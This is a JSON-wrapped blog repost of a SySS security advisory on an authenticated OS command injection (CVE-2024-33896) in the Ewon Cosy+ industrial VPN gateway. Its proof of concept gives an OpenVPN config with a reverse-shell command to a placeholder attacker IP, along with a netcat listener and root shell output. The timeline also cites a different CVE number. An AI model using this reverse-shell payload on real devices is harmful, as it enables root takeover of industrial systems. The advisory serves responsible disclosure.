{"id":58984,"date":"2024-08-19T19:30:02","date_gmt":"2024-08-19T16:30:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180232\/SYSS-2024-018.txt"},"modified":"2024-08-19T19:30:02","modified_gmt":"2024-08-19T16:30:02","slug":"ewon-cosy-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ewon-cosy-command-injection\/","title":{"rendered":"Ewon Cosy+ Command Injection"},"content":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>Advisory ID: SYSS-2024-018<br \/>Product: Ewon Cosy+<br \/>Manufacturer: HMS Industrial Networks AB<br \/>Affected Version(s): Firmware Versions: &lt; 21.2s10 and &lt; 22.1s3<br \/>Tested Version(s): Firmware Version: 21.2s7<br \/>Vulnerability Type: Improper Neutralization of Special Elements used in an OS Command (&#8216;OS Command Injection&#8217;) (CWE-78)<br \/>Risk Level: Medium<br \/>Solution Status: Fixed<br \/>Manufacturer Notification: 2024-03-27<br \/>Solution Date: 2024-07-18<br \/>Public Disclosure: 2024-08-11<br \/>CVE Reference: CVE-2024-33896<br \/>Author of Advisory: Moritz Abrell, SySS GmbH<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Overview:<\/p>\n<p>The Ewon Cosy+ is a VPN gateway used for remote access and maintenance<br \/>in industrial environments.<\/p>\n<p>The manufacturer describes the product as follows (see [1]):<\/p>\n<p>&#8220;The Ewon Cosy+ gateway establishes a secure VPN connection between<br \/>the machine (PLC, HMI, or other devices) and the remote engineer.<br \/>The connection happens through Talk2m, a highly secured industrial<br \/>cloud service. The Ewon Cosy+ makes industrial remote access easy<br \/>and secure like never before!&#8221;<\/p>\n<p>Due to improper neutralization of parameters read from a user-controlled<br \/>configuration file, an authenticated attacker is able to inject and execute<br \/>OS commands on the device.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Vulnerability Details:<\/p>\n<p>Authenticated attackers are able to upload a custom OpenVPN configuration.<br \/>This configuration can contain the OpenVPN paramaters &#8220;&#8211;up&#8221; and &#8220;&#8211;down&#8221;,<br \/>which execute a specified script or executable.<\/p>\n<p>Since the process itself runs with the highest privileges (root),<br \/>this allows the device to be completely compromised.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Proof of Concept (PoC):<\/p>\n<p>1. Generate a malicious OpenVPN configuration, e.g. instructing the device<br \/>to create a reverse shell:<\/p>\n<p>client<br \/>dev tun<br \/>persist-tun<br \/>proto tcp<br \/>verb 5<br \/>mute 20<br \/>&#8211;up &#8216;\/bin\/sh -c &#8220;TF=$(mktemp -u);mkfifo $TF;telnet &lt;attacker-ip&gt; 5000 0&lt;$TF | sh 1&gt;$TF&#8221;&#8216;<br \/>script-security 2<br \/>[&#8230;]\n<p>2. Start a listener on the attacker system:<br \/>#&gt; nc -lvp 5000<\/p>\n<p>3. Upload the OpenVPN configuration via FTP to Cosy+.<\/p>\n<p>4. Set the configuration paramater &#8220;VPNCfgFile&#8221; to &#8220;\/usr\/&lt;vpnfile&gt;&#8221;.<\/p>\n<p>5. Command is executed by Cosy+ and a reverse shell is initiated:<\/p>\n<p>nc -lvp 5000<br \/>istening on 0.0.0.0 5000<br \/>Connection received on 192.168.10.240 56806<br \/>id<br \/>uid=0(root) gid=0(root)<\/p>\n<p>Note:<br \/>The paramaters &#8220;&#8211;up&#8221; and &#8220;&#8211;down&#8221; need to be specified with<br \/>two dashes since the values &#8220;up&#8221; and &#8220;down&#8221; are blocklisted on the<br \/>device.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Solution:<\/p>\n<p>According to the manufacturer note[4], the vulnerability was fixed<br \/>with the firmware versions 21.2s10 and 22.1s3.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclosure Timeline:<\/p>\n<p>2024-03-26: Vulnerability discovered<br \/>2024-03-27: Vulnerability reported to manufacturer<br \/>2024-04-02: Inquiry about the status<br \/>2024-04-05: Manufacturer acknowlegded the vulnerability and started the<br \/>analysis<br \/>2024-04-10: Two more vulnerabilities reported to the manufacturer<br \/>(SYSS-2024-032 and SYSS-2024-033)<br \/>2024-04-11: Manufacturer acknowlegded the vulnerabilities and asked for<br \/>a publication date for all findings<br \/>2024-04-12: Proposed dates for a discussion about publication<br \/>2024-04-15: Manufacturer sent a technical overview of planned remediation<br \/>actions and details about the planned timeline<br \/>2024-04-15: Acknowlegded the remediation actions and asked the manufacturer<br \/>for assigning a CVE ID<br \/>2024-04-30: CVE ID CVE-2024-33893[5] assigned by the manufacturer<br \/>2024-05-31: Manufacturer informed that the fix is in completion stage and<br \/>asked if the blog post[6] can be reviewed by HMS<br \/>2024-06-04: Proposed dates to review the blog post draft<br \/>2024-06-21: Inquiry about the status<br \/>2024-06-21: Received an out-of-office auto reply<br \/>2024-07-01: Inquiry about the status<br \/>2024-07-04: Inquiry about the status<br \/>2024-07-12: Inquiry about the status and letting the manufacturer know that<br \/>the vulnerability will be published within a talk at DEF CON[7]in August<br \/>2024-07-12: Manufacturer responded that the fix is planned by the end of<br \/>July; manufacturer asked again for reviewing the blog post<br \/>draft<br \/>2024-07-12: Again confirmed reviewing the blog post is possible and asking<br \/>for the sending of details<br \/>2024-07-17: Blog post provided to HMS<br \/>2024-07-18: Fixed firmware versions 21.2s10 and 22.1s3 released by HMS<br \/>2024-07-23: Inquiry about the status<br \/>2024-07-23: Manufacturer reviewed the blog post and confirmed that a<br \/>fix is provided<br \/>2024-07-29: Discussion with HMS about the blog post and final publication<br \/>actions<br \/>2024-08-11: Vulnerability disclosed at DEF CON[7]2024-08-11: Blog post published[6]\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>References:<\/p>\n[1] Ewon Cosy+ product website<br \/>https:\/\/www.hms-networks.com\/p\/ec71330-00ma-ewon-cosy-ethernet<br \/>[2] SySS Security Advisory SYSS-2024-018<br \/>https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-018.txt<br \/>[3] SySS Responsible Disclosure Policy<br \/>https:\/\/www.syss.de\/en\/responsible-disclosure-policy<br \/>[4] Manufacturer note<br \/>https:\/\/hmsnetworks.blob.core.windows.net\/nlw\/docs\/default-source\/products\/cybersecurity\/security-advisory\/hms-security-advisory-2024-07-29-001&#8211;ewon-several-cosy&#8211;vulnerabilities.pdf<br \/>[5] CVE-2024-33896<br \/>https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2024-33896<br \/>[6] Blog post<br \/>https:\/\/blog.syss.com\/posts\/hacking-a-secure-industrial-remote-access-gateway\/<br \/>[7] DEF CON talk<br \/>https:\/\/defcon.org\/html\/defcon-32\/dc-32-speakers.html#54521<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Credits:<\/p>\n<p>This security vulnerability was found by Moritz Abrell of SySS GmbH.<\/p>\n<p>E-Mail:moritz.abrell@syss.de<br \/>Public Key:https:\/\/www.syss.de\/fileadmin\/dokumente\/PGPKeys\/Moritz_Abrell.asc<br \/>Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Disclaimer:<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221;<br \/>and without warranty of any kind. Details of this security advisory may<br \/>be updated in order to provide as accurate information as possible. The<br \/>latest version of this security advisory is available on the SySS website.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Copyright:<\/p>\n<p>Creative Commons &#8211; Attribution (by) &#8211; Version 3.0<br \/>URL:http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en<br \/>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmay41IACgkQrgyb+PE0<br \/>i1PIhQ\/\/YBS1kK+SZAdwVcRCA1fPxKdfHVlHswwiQzyNWvTso35HsQm+cYOJd\/zL<br \/>gb9JJ0VqgohVezL9UVJhkbEVZbUNwAX13XpcjQimsxcVgx5jCus\/4JUCH3+9vPCx<br \/>lZyc+r5gzP7d3\/a1sfGO739bkg8+itkp9jxhoZm5WOA+eg5Tz1j4tJN4uU79ikax<br \/>5HGubG3dxWq2EQPeEa4+eyKgQCRQTZzX+fiyqfSbRMQq7v4\/GbMqH3FtI1CzxoZ3<br \/>HfsxQyPu3eUjQuykpMauwuwSgs11Yop9EBDzTuH1+OTmWUMy9exWmixcj\/Sst+D9<br \/>6rHQkY+CozFy0ml4mQtp\/CpN+Jj0op+BtSw1ILwLUL3aqXa96Ud+62ht9EDBQn\/9<br \/>repfcR5hx9Lj9gfrn46ciW8S\/Zy5PghYjOvxC75rsiU3ZHhp\/aNF9uKgrdnbZGQe<br \/>+CzompLF3pM8bCSwtUEauEfK+XArUg0oiN\/d2Dl3LMqHJoK4Q1DkgD5v4POmtHsM<br \/>HaSuE0i57fezwnELg5XNLKRpno57I4LEn1CWm4qebyJvAkodO32DGWAx+Qfh34tG<br \/>R3Lj71uH1ffepHxMzPsW1WHHnOqjsXQIYw6yq6eJqHwS\/ygR\/OTVnGri5e4Xq\/tN<br \/>AZyo5WrR3iTmZMBhPAaDoLfclUG4IucGdJKGop9IKkeNTHXkuGk=<br \/>=75wq<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 Advisory ID: SYSS-2024-018Product: Ewon Cosy+Manufacturer: HMS Industrial Networks ABAffected Version(s): Firmware Versions: &lt; 21.2s10 and &lt; 22.1s3Tested Version(s): Firmware Version: 21.2s7Vulnerability Type: Improper Neutralization of Special Elements used in an OS Command (&#8216;OS Command Injection&#8217;) (CWE-78)Risk Level: MediumSolution Status: FixedManufacturer Notification: 2024-03-27Solution Date: 2024-07-18Public Disclosure: 2024-08-11CVE Reference: CVE-2024-33896Author of Advisory: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58984","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58984","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58984"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58984\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58984"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58984"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58984"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}